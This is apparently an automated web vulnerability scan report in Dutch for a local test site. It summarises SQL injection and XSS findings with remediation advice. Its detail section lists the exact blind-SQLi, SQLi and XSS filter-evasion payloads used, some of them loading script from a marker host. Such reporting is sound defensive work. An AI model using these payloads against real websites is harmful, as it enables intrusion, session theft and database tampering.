

Scan Rapport

Algemene Informatie
Klant: example
Bedrijf: example-company
Email: example@email.nl

Scan Informatie
URL: http://localhost:8888
Server: Apache
Scan type: Full Scan
Start tijd: 2017-09-16 17:51:11
Eind tijd: 2017-09-16 17:53:08
Scan tijd: 2 minuten

Scan Resultaten

Dreigingsniveau (Kleur code)	Niveau	Omschrijving
	4	Er zijn één of meer zeer zorgwekkende kwetsbaarheden op de website gevonden. De kans op exploitatie door hackers is zeer hoog. Hackers kunnen toegang krijgen tot het backend systeem en daarop de databases muteren.

Totale dreigementen gevonden
Hoog: 52
gemiddeld: 0
Laag: 0

Categorie dreigementen	Dreigingsniveau	Aantal	Omschrijving
BlindSQLi	hoog	8	Blind SQL Injections is een query injectie techniek waarbij de hacker True en False vragen stelt aan de database om te bepalen of een database kwetsbaar.
SQLi	hoog	2	SQL Injection is een query injectie techniek dat gebruikt wordt om software applicaties aan te vallen met SQL statements met als doel data uit een database op te vragen.
XSS	hoog	42	Cross-site scripting is een type kwetsbaarheid dat vooral gevonden wordt in webapplicaties. XSS maakt het mogelijk voor hackers om client-side scripting talen te injecteren op webpagina's.

Advies: SQLi en Blind SQLi

SQL injectie is helaas nog steeds een veel voorkomende kwetsbaarheid. Maar gelukkig zijn er een aantal oplossingen hiervoor bedacht. Hieronder een lijst met simpele technieken om SQL injecties te voorkomen.

Regels

- Gebruik maken van Prepared Statments
- Gebruik maken van opgeslagen procedures (zoals data)
- Een White List maken van toegestaande invoer
- Escaping van gebruikersinput.

Advies: XSS

Cross-site scripting is een veel voorkomende client-side kwetsbaarheid waarbij de aanvaller client-site code injecteert op webpagina. Er zijn twee basis regels waar een website aan moet voldoen om dit probleem te voorkomen:

Regels

- Voer nooit onvertrouwde data in, behalve op toegestaande locaties
- Voordat de data wordt ingevoerd moet de HTML Escaped worden

Detials van gevonden kwetsbaarheden

ID: 280

Module: blindsql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: sleep(10)#1

Error: http://localhost:8888/index.php?id=sleep%2810%29%231%0A

WASC ID: 19

Datum: 2017-09-16 17:51:31

ID: 281

Module: blindsql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: sleep(10)#[LF]1

Error: http://localhost:8888/index.php?id=sleep%2810%29%23%5BLF%5D1%0A

WASC ID: 19

Datum: 2017-09-16 17:51:51

ID: 282

Module: blindsqli
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: 1 or sleep(10)#1
Error: http://localhost:8888/index.php?id=1+or+sleep%2810%29%231%0A
WASC ID: 19
Datum: 2017-09-16 17:52:01
ID: 283
Module: blindsqli
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: 1 or sleep(10)#[LF]1
Error: http://localhost:8888/index.php?id=1+or+sleep%2810%29%23%5BLF%5D1%0A
WASC ID: 19
Datum: 2017-09-16 17:52:11
ID: 284
Module: blindsqli
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: 1 and sleep(10)#1
Error: http://localhost:8888/index.php?id=1+and+sleep%2810%29%231%0A
WASC ID: 19
Datum: 2017-09-16 17:52:21
ID: 285
Module: blindsqli
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: 1 and sleep(10)#[LF]1
Error: http://localhost:8888/index.php?id=1+and+sleep%2810%29%23%5BLF%5D1%0A
WASC ID: 19
Datum: 2017-09-16 17:52:31
ID: 286

Module: blindsqli
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: 1/**/or/**/sleep(10)#1
Error: http://localhost:8888/index.php?id=1%2F%2A%2A%2Ffor%2F%2A%2A%2Fsleep%2810%29%231%0A
WASC ID: 19
Datum: 2017-09-16 17:52:51
ID: 287
Module: blindsqli
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: 1/**/and/**/sleep(10)#1
Error: http://localhost:8888/index.php?id=1%2F%2A%2A%2Fand%2F%2A%2A%2Fsleep%2810%29%231%0A
WASC ID: 19
Datum: 2017-09-16 17:53:01
ID: 288
Module: sql
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: query='
Error: You have an error in your SQL syntax
WASC ID: 19
Datum: 2017-09-16 17:53:07
ID: 289
Module: sql
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: query=' or 1=1
Error: You have an error in your SQL syntax
WASC ID: 19
Datum: 2017-09-16 17:53:07
ID: 290

Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <script>alert('t58c4xkl1d')</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 291
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <script>alert("t58c4xkl1d")</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 292
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <ScRiPt>alert('t58c4xkl1d')</sCrIpT>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 293
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <ScRiPt>alert("t58c4xkl1d")</sCrIpT>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 294

Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <script>String.fromCharCode(0,t58c4xkl1d,1)</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 295
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <ScRiPt>String.fromCharCode(0,t58c4xkl1d,1)</sCrIpT>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 296
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <script src=http://t58c4xkl1d/x.js></script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 297
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <ScRiPt src=http://t58c4xkl1d/x.js></sCrIpT>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 298

Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <script[TAB]src=http://t58c4xkl1d/x.js></script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 299
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <ScRiPt[TAB]src=http://t58c4xkl1d/x.js></sCrIpT>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 300
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval:
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 301
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval:
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 302

Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval:
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 303
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <img[TAB]src=.[TAB]onerror=String.fromCharCode(0,t58c4xkl1d,1)>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 304
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval:
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 305
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval:
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07

ID: 306
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <img[TAB]src=javascript:alert(
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 307
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <script >alert('t58c4xkl1d')</script >
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 308
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <script >alert("t58c4xkl1d")</script >
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 309
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <script >String.fromCharCode(0,t58c4xkl1d,1)</script >
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8

Datum: 2017-09-16 17:53:07
ID: 310
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <ScRiPt >String.fromCharCode(0,t58c4xkl1d,1)</ sCrIpT>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 311
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <ScRiPt[TAB]>String.fromCharCode(0,t58c4xkl1d,1)</[TAB]sCrIpT>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 312
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <script/>alert('t58c4xkl1d')</script/>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 313
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <script/>alert("t58c4xkl1d")</script/>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8

Datum: 2017-09-16 17:53:07
ID: 314
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <ScRiPt/>alert('t58c4xkl1d')</sCrIpT/>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 315
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <ScRiPt/>alert("t58c4xkl1d")</sCrIpT/>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 316
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <script/ src=http://t58c4xkl1d/x.js></script/>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 317
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <ScRiPt/ src=http://t58c4xkl1d/x.js></sCrIpT/>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8

Datum: 2017-09-16 17:53:07
ID: 318
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <scr<script>ipt>alert('t58c4xkl1d')</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 319
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <scr<script>ipt>alert('t58c4xkl1d')</scr</script>ipt>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 320
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <scr<script>ipt>alert("t58c4xkl1d")</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 321
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <scr<script>ipt>alert("t58c4xkl1d")</scr</script>ipt>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8

Datum: 2017-09-16 17:53:07
ID: 322
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <scr<script>ipt>String.fromCharCode(0,t58c4xkl1d,1)</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 323
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <scr<script>ipt>String.fromCharCode(0,t58c4xkl1d,1)</scr</script>ipt>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 324
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <scr<script>ipt src=http://t58c4xkl1d/x.js></script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 325
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <scr<script>ipt src=http://t58c4xkl1d/x.js></scr</script>ipt>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8

Datum: 2017-09-16 17:53:07
ID: 326
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <object data="javascript:alert('t58c4xkl1d')">
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 327
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <object data=javascript:String.fromCharCode(0,t58c4xkl1d,1)>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 328
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <object[TAB]data=javascript:String.fromCharCode(0,t58c4xkl1d,1)>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 329
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <object><param name=x value=javascript:alert('t58c4xkl1d')></object>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8

Datum: 2017-09-16 17:53:07
ID: 330
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <object><param name=x value=javascript:alert("t58c4xkl1d")></object>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07
ID: 331
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <object><param name=x value=javascript:String.fromCharCode(0,t58c4xkl1d,1)></object>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Datum: 2017-09-16 17:53:07